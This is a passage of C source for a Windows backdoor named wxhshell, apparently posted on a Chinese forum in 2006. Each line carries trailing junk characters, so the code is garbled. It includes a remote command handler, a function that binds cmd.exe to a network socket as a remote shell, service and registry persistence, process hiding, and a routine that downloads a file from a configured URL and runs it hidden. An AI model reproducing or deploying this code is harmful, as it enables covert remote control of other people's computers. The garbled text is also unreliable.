QAl4w)F  
    switch(cmd[0]) { 6N Ogi  
  mL#$8wUdt{  
  // 帮助 /c!^(5K fT  
  case '?': { noB8*n0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Q#}:  
    break; fX\y/C  
  } qv:DpK  
  // 安装 o7PS1qcya<  
  case 'i': { j}J=ZLr/V"  
    if(Install()) 2zv:j7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |h/{ qpsu  
    else K0I.3| 6C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >s.y1Vg~C  
    break; Ne3YhCC>  
    } tK#/S+l  
  // 卸载 '4M;;sKW  
  case 'r': { WD kE 5  
    if(Uninstall()) i>-#QKqJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &b%2Jx[+  
    else #tw_`yh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bl10kI:F  
    break; ?y  "M>#  
    } p*1 B *R  
  // 显示 wxhshell 所在路径 R S>qP;V*-  
  case 'p': { 4OAR ["f  
    char svExeFile[MAX_PATH]; Pv)^L  
    strcpy(svExeFile,"\n\r"); 3-Xd9ou  
      strcat(svExeFile,ExeFile); BT3yrq9  
        send(wsh,svExeFile,strlen(svExeFile),0); "|,KXv')  
    break; ~GJ;;v1b2  
    } /Q89y[  
  // 重启 Q TN24 q4  
  case 'b': { [P}mDX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7&]|c?([4  
    if(Boot(REBOOT)) S {+Z.P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); el2<W=^M  
    else { &U([Wd?E2  
    closesocket(wsh); PAC=LQn&  
    ExitThread(0); =CdrhP_  
    } 6p&uifY}tR  
    break; KP>1%ap6  
    } 2r+nr  
  // 关机 AG;KXL[V  
  case 'd': { eZhF<<Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B:cQsaty  
    if(Boot(SHUTDOWN)) H,7!"!?@N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gfy9YH~  
    else { CeUXGa|C  
    closesocket(wsh); ;"RyHow  
    ExitThread(0); V)u#=OS  
    } NMC0y|G  
    break; V_n tS& 2o  
    } *]Cyc<  
  // 获取shell Rz&}e@stl  
  case 's': { ,Qo:]Mj  
    CmdShell(wsh); >'WTVj`  
    closesocket(wsh); xwHE,ykE  
    ExitThread(0); c7WOcy@M  
    break; ZnuRy:  
  } '*@=SM  
  // 退出 #i*PwgC%_  
  case 'x': { \O,yWyU4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q['3M<q  
    CloseIt(wsh); }5 $le]  
    break; Yn?Xo_Y  
    } U.I 7p  
  // 离开 376z~  
  case 'q': { lh XD9ed  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tfv @oPu  
    closesocket(wsh); pu ?CO A  
    WSACleanup(); }w >UNGUMh  
    exit(1); $ )2zz>4  
    break; pbwOma2  
        } 7*WO9R/  
  } 7:JGrO  
  } b+f '  
q& KNK  
  // 提示信息 W?ghG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S&'s/jB  
} KilN`?EJ  
  } Znh;#%n|  
vkG%w;  
  return; yWT1CID  
} CC$rt2\e  
F/:%YR;  
// shell模块句柄 ~xws5n}F  
int CmdShell(SOCKET sock) 3.ShAL  
{ v5?ct?q  
STARTUPINFO si; 6O0aGJ,H  
ZeroMemory(&si,sizeof(si)); $j@P 8<M7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uI9+@oV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o>&pj  
PROCESS_INFORMATION ProcessInfo; z  fy(j  
char cmdline[]="cmd"; 9d=\BBNZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G_ ~qk/7mF  
  return 0; ~u[1Vz4#3  
} j|p=JrCJ  
f%[xl6VE;  
// 自身启动模式 x[+bLlb  
int StartFromService(void) Ruwp"T}mF  
{ zh(=kS `  
typedef struct Y OvhMi  
{ 2jkma :$'  
  DWORD ExitStatus; a`eb9o#  
  DWORD PebBaseAddress; l>(*bb1}b  
  DWORD AffinityMask; bhsCeH  
  DWORD BasePriority; 4TiHh  
  ULONG UniqueProcessId; g~9b_PY9  
  ULONG InheritedFromUniqueProcessId; $d.Dk4.ed  
}   PROCESS_BASIC_INFORMATION; >-w# &T &K  
H_1&>@ 3  
PROCNTQSIP NtQueryInformationProcess; &Rz-;66bN  
K&"X7fQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ @(O##(7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T5:xia>8O  
7pnlS*E.  
  HANDLE             hProcess; I@#IXH?6  
  PROCESS_BASIC_INFORMATION pbi; ,WW=,P  
Z,~@_;F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rx<P#y]3)  
  if(NULL == hInst ) return 0; =fB"T+  
K;w]sN+I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N+pCC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^.~e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pRjrMS  
wMCgL h\wi  
  if (!NtQueryInformationProcess) return 0; ;W\?lGOs{  
6UqDpL7^U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 13Q87i5B  
  if(!hProcess) return 0; RfCu5Kn  
=xSf-\F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N'pYz0_H  
+4[9Eb'k=  
  CloseHandle(hProcess); ]-;JHB5A_:  
zq3f@xOK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'jy e*  
if(hProcess==NULL) return 0; "Rtt~["%  
[.C P,Ly  
HMODULE hMod; Ufor>  
char procName[255]; t"MrrK>T  
unsigned long cbNeeded; P1Iy >%3  
r-]%R:U*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ETdN<}m  
Fp]ErDan  
  CloseHandle(hProcess); cXYE !(  
6C ?,V3Z  
if(strstr(procName,"services")) return 1; // 以服务启动 <R%TCVwC@  
7(| f@Y~*  
  return 0; // 注册表启动 3Jj&wHp]  
} .>1Y-NM  
^^a%Lz)U  
// 主模块 xjrL@LO#  
int StartWxhshell(LPSTR lpCmdLine) 1/?K/gL  
{ rcH{"\F_/  
  SOCKET wsl; >>8{N)c5E  
BOOL val=TRUE; ?<Mx*l  
  int port=0; nm %7e!{m  
  struct sockaddr_in door; ?_T[]I'  
g+?2@L$L  
  if(wscfg.ws_autoins) Install(); \,lIPA/L  
;(K"w*  
port=atoi(lpCmdLine); s={IKU&m[  
e :T9f('  
if(port<=0) port=wscfg.ws_port; GSfU*@L3  
>CHb;*U  
  WSADATA data; @`iz0DPG?Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jTW8mWNk]  
_({wJ$aYC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   # 00?]6`z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gplrJaH@  
  door.sin_family = AF_INET; i#*lK7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7[0CVWs,  
  door.sin_port = htons(port); 4jjo%N  
}I18|=TB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BhiOV_}Hn  
closesocket(wsl); :" JEC'  
return 1; PM&NY8|Zy  
} QpS7 nGev  
jI<_(T  
  if(listen(wsl,2) == INVALID_SOCKET) { {*<%6?  
closesocket(wsl); 82o|(pw  
return 1; :H:+XIgoR  
} -e0?1.A$  
  Wxhshell(wsl); WKwYSbs(  
  WSACleanup(); 3|EAOoWnK  
h&~9?B  
return 0; 2~V"[26t  
\zOsq5}  
} k(@W z>aCv  
]a[2QQ+g  
// 以NT服务方式启动 :0bjPQj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P=s3&NDD  
{ 4`Jf_C  
DWORD   status = 0; ]8 <`&~a  
  DWORD   specificError = 0xfffffff; ZQ-6n1O  
m SO7r F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sG^{ cn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .;(a;f+{;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 19%zcYTe  
  serviceStatus.dwWin32ExitCode     = 0; C3 BoH&  
  serviceStatus.dwServiceSpecificExitCode = 0; d vo|9 >  
  serviceStatus.dwCheckPoint       = 0; lB!M;2^)X  
  serviceStatus.dwWaitHint       = 0; ZzP&Zrm  
oqg +<m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,v?FR }v  
  if (hServiceStatusHandle==0) return; d\8j!F^=  
9XUk.Nek  
status = GetLastError(); b%0@nu4  
  if (status!=NO_ERROR) dh%DALZ8t  
{ b.9[Vf_G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HJd{j,M  
    serviceStatus.dwCheckPoint       = 0; ?>gr9w\  
    serviceStatus.dwWaitHint       = 0; S9'Xsh  
    serviceStatus.dwWin32ExitCode     = status; /wkrfYRs  
    serviceStatus.dwServiceSpecificExitCode = specificError; MIN}5kc<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:imX>|u  
    return; a^Q ?K\c4N  
  } sI{?4k  
:% +9y @%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RPjw12Ly  
  serviceStatus.dwCheckPoint       = 0; EZT 8^m  
  serviceStatus.dwWaitHint       = 0; Q9;VSF)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Y!RU{w+Z  
} b~<:k\EE  
f>&*%[fw  
// 处理NT服务事件,比如:启动、停止 *<}R=X.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %:sP#BQM  
{ "_=t1UE  
switch(fdwControl) bXqTc2>=  
{ 7`^=Ie%(K  
case SERVICE_CONTROL_STOP: +I}!)$/  
  serviceStatus.dwWin32ExitCode = 0; 0sCWIGU W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I$XwM  
  serviceStatus.dwCheckPoint   = 0; Tl+PRR6D*  
  serviceStatus.dwWaitHint     = 0; `P$X`;SwE  
  { Fzn !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0<^Q j.(9  
  } Vo|[Z)MO`  
  return; 6uX,J(V,  
case SERVICE_CONTROL_PAUSE: 64^l/D(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7loWqZ  
  break; V6kDyl(  
case SERVICE_CONTROL_CONTINUE: = '-/JH~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5X uQQ!`  
  break; w@\4ft6d  
case SERVICE_CONTROL_INTERROGATE: Yjl:i*u/  
  break; 8A u W>7_  
}; |;I"Oc.w^R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7f<@+&  
} 1Ve~P"w  
*qxv"PptX  
// 标准应用程序主函数 W*,$0 t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0_=^#r4Mu  
{ fw a*|y;  
ZS`9r16@b  
// 获取操作系统版本 ;q#Pl!*5  
OsIsNt=GetOsVer(); Q!I><u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j(M.7Z7^  
Bw9O)++  
  // 从命令行安装 c4s,T"H  
  if(strpbrk(lpCmdLine,"iI")) Install(); -U\s.FI.AR  
$+,kibk*R  
  // 下载执行文件 R3.8Dr 0f  
if(wscfg.ws_downexe) { 42:,*4t(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E 5mYFVK  
  WinExec(wscfg.ws_filenam,SW_HIDE); ( efxw  
} 6y"T;.FAo  
[+!+Yn6:  
if(!OsIsNt) { M<Y{Cs  
// 如果时win9x,隐藏进程并且设置为注册表启动 p<y \ ^a  
HideProc();  RcZ&/MY  
StartWxhshell(lpCmdLine); vYq"W%  
} ,L-V?B(UQ  
else pIKfTkSqH  
  if(StartFromService()) E `V?Io  
  // 以服务方式启动 >4Qj+ou  
  StartServiceCtrlDispatcher(DispatchTable); Nk1p)V SC  
else PO|gM8E1x?  
  // 普通方式启动 cE?p~fq<  
  StartWxhshell(lpCmdLine); r[#*..Y  
0W~1v  
return 0; L(C0236r  
}
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只看该作者 1 发表于: 2006-10-10
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